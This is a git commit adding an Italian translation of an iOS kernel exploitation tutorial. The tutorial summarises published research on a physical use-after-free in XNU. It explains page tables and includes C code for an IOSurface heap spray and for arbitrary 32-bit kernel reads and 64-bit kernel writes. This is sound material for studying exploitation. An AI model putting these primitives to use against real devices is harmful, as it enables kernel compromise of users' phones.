Translated ['binary-exploitation/ios-exploiting.md'] to it

This commit is contained in:
Translator 2024-11-05 18:40:25 +00:00
parent aa2ce678eb
commit e15a1dfa4f
2 changed files with 204 additions and 0 deletions

View file

@ -778,6 +778,7 @@
* [WWW2Exec - \_\_malloc\_hook & \_\_free\_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-\_\_malloc\_hook.md)
* [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
* [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
* [iOS Exploiting](binary-exploitation/ios-exploiting.md)
## 🔩 Reversing

View file

@ -0,0 +1,203 @@
# iOS Exploiting
## Uso fisico dopo la liberazione
Questo è un riassunto del post da [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) inoltre ulteriori informazioni su exploit che utilizzano questa tecnica possono essere trovate in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
### Gestione della memoria in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
Lo **spazio degli indirizzi di memoria virtuale** per i processi utente su iOS va da **0x0 a 0x8000000000**. Tuttavia, questi indirizzi non mappano direttamente alla memoria fisica. Invece, il **kernel** utilizza **tabelle delle pagine** per tradurre gli indirizzi virtuali in **indirizzi fisici** reali.
#### Livelli delle Tabelle delle Pagine in iOS
Le tabelle delle pagine sono organizzate gerarchicamente in tre livelli:
1. **Tabella delle Pagine L1 (Livello 1)**:
* Ogni voce qui rappresenta un ampio intervallo di memoria virtuale.
* Copre **0x1000000000 byte** (o **256 GB**) di memoria virtuale.
2. **Tabella delle Pagine L2 (Livello 2)**:
* Una voce qui rappresenta una regione più piccola di memoria virtuale, specificamente **0x2000000 byte** (32 MB).
* Una voce L1 può puntare a una tabella L2 se non può mappare l'intera regione da sola.
3. **Tabella delle Pagine L3 (Livello 3)**:
* Questo è il livello più fine, dove ogni voce mappa una singola pagina di memoria **4 KB**.
* Una voce L2 può puntare a una tabella L3 se è necessario un controllo più dettagliato.
#### Mappatura della Memoria Virtuale a Fisica
* **Mappatura Diretta (Mappatura a Blocchi)**:
* Alcune voci in una tabella delle pagine **mappano direttamente un intervallo di indirizzi virtuali** a un intervallo contiguo di indirizzi fisici (come un collegamento diretto).
* **Puntatore alla Tabella delle Pagine Figlia**:
* Se è necessario un controllo più fine, una voce in un livello (ad es., L1) può puntare a una **tabella delle pagine figlia** al livello successivo (ad es., L2).
#### Esempio: Mappatura di un Indirizzo Virtuale
Supponiamo che tu stia cercando di accedere all'indirizzo virtuale **0x1000000000**:
1. **Tabella L1**:
* Il kernel controlla la voce della tabella delle pagine L1 corrispondente a questo indirizzo virtuale. Se ha un **puntatore a una tabella delle pagine L2**, va a quella tabella L2.
2. **Tabella L2**:
* Il kernel controlla la tabella delle pagine L2 per una mappatura più dettagliata. Se questa voce punta a una **tabella delle pagine L3**, procede lì.
3. **Tabella L3**:
* Il kernel cerca la voce finale L3, che punta all'**indirizzo fisico** della pagina di memoria effettiva.
#### Esempio di Mappatura degli Indirizzi
Se scrivi l'indirizzo fisico **0x800004000** nel primo indice della tabella L2, allora:
* Gli indirizzi virtuali da **0x1000000000** a **0x1002000000** mappano agli indirizzi fisici da **0x800004000** a **0x802004000**.
* Questa è una **mappatura a blocchi** a livello L2.
In alternativa, se la voce L2 punta a una tabella L3:
* Ogni pagina di 4 KB nell'intervallo di indirizzi virtuali **0x1000000000 -> 0x1002000000** sarebbe mappata da voci individuali nella tabella L3.
### Uso fisico dopo la liberazione
Un **uso fisico dopo la liberazione** (UAF) si verifica quando:
1. Un processo **alloca** della memoria come **leggibile e scrivibile**.
2. Le **tabelle delle pagine** vengono aggiornate per mappare questa memoria a un indirizzo fisico specifico a cui il processo può accedere.
3. Il processo **dealloca** (libera) la memoria.
4. Tuttavia, a causa di un **bug**, il kernel **dimentica di rimuovere la mappatura** dalle tabelle delle pagine, anche se segna la corrispondente memoria fisica come libera.
5. Il kernel può quindi **riallocare questa memoria fisica "liberata"** per altri scopi, come **dati del kernel**.
6. Poiché la mappatura non è stata rimossa, il processo può ancora **leggere e scrivere** in questa memoria fisica.
Ciò significa che il processo può accedere a **pagine di memoria del kernel**, che potrebbero contenere dati o strutture sensibili, consentendo potenzialmente a un attaccante di **manipolare la memoria del kernel**.
### Strategia di Sfruttamento: Heap Spray
Poiché l'attaccante non può controllare quali pagine specifiche del kernel verranno allocate nella memoria liberata, utilizza una tecnica chiamata **heap spray**:
1. L'attaccante **crea un gran numero di oggetti IOSurface** nella memoria del kernel.
2. Ogni oggetto IOSurface contiene un **valore magico** in uno dei suoi campi, rendendolo facile da identificare.
3. Loro **scansionano le pagine liberate** per vedere se uno di questi oggetti IOSurface è atterrato su una pagina liberata.
4. Quando trovano un oggetto IOSurface su una pagina liberata, possono usarlo per **leggere e scrivere nella memoria del kernel**.
Ulteriori informazioni su questo in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
### Processo di Heap Spray Passo-Passo
1. **Spray di Oggetti IOSurface**: L'attaccante crea molti oggetti IOSurface con un identificatore speciale ("valore magico").
2. **Scansione delle Pagine Liberate**: Controllano se uno degli oggetti è stato allocato su una pagina liberata.
3. **Leggi/Scrivi nella Memoria del Kernel**: Manipolando i campi nell'oggetto IOSurface, ottengono la capacità di eseguire **letture e scritture arbitrarie** nella memoria del kernel. Questo consente loro di:
* Usare un campo per **leggere qualsiasi valore a 32 bit** nella memoria del kernel.
* Usare un altro campo per **scrivere valori a 64 bit**, ottenendo una stabile **primitiva di lettura/scrittura del kernel**.
Genera oggetti IOSurface con il valore magico IOSURFACE\_MAGIC da cercare successivamente:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
Cerca oggetti **`IOSurface`** in una pagina fisica liberata:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### Ottenere la Lettura/Scrittura del Kernel con IOSurface
Dopo aver ottenuto il controllo su un oggetto IOSurface nella memoria del kernel (mappato a una pagina fisica liberata accessibile dallo spazio utente), possiamo usarlo per **operazioni di lettura e scrittura arbitrarie nel kernel**.
**Campi Chiave in IOSurface**
L'oggetto IOSurface ha due campi cruciali:
1. **Puntatore al Conteggio di Utilizzo**: Consente una **lettura a 32 bit**.
2. **Puntatore al Timestamp Indicizzato**: Consente una **scrittura a 64 bit**.
Sovrascrivendo questi puntatori, li reindirizziamo a indirizzi arbitrari nella memoria del kernel, abilitando le capacità di lettura/scrittura.
#### Lettura del Kernel a 32 Bit
Per eseguire una lettura:
1. Sovrascrivi il **puntatore al conteggio di utilizzo** per puntare all'indirizzo target meno un offset di 0x14 byte.
2. Usa il metodo `get_use_count` per leggere il valore a quell'indirizzo.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### Scrittura del Kernel a 64 Bit
Per eseguire una scrittura:
1. Sovrascrivi il **puntatore del timestamp indicizzato** all'indirizzo target.
2. Usa il metodo `set_indexed_timestamp` per scrivere un valore a 64 bit.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Riepilogo del Flusso di Exploit
1. **Attivare l'Uso-Fisico Dopo la Liberazione**: Le pagine liberate sono disponibili per il riutilizzo.
2. **Spray degli Oggetti IOSurface**: Allocare molti oggetti IOSurface con un "valore magico" unico nella memoria del kernel.
3. **Identificare l'IOSurface Accessibile**: Localizzare un IOSurface su una pagina liberata che controlli.
4. **Abusare dell'Uso-Fisico Dopo la Liberazione**: Modificare i puntatori nell'oggetto IOSurface per abilitare la lettura/scrittura **kernel arbitraria** tramite i metodi IOSurface.
Con queste primitive, l'exploit fornisce letture **a 32 bit** e scritture **a 64 bit** controllate nella memoria del kernel. Ulteriori passaggi per il jailbreak potrebbero coinvolgere primitive di lettura/scrittura più stabili, che potrebbero richiedere di bypassare ulteriori protezioni (ad es., PPL su dispositivi arm64e più recenti).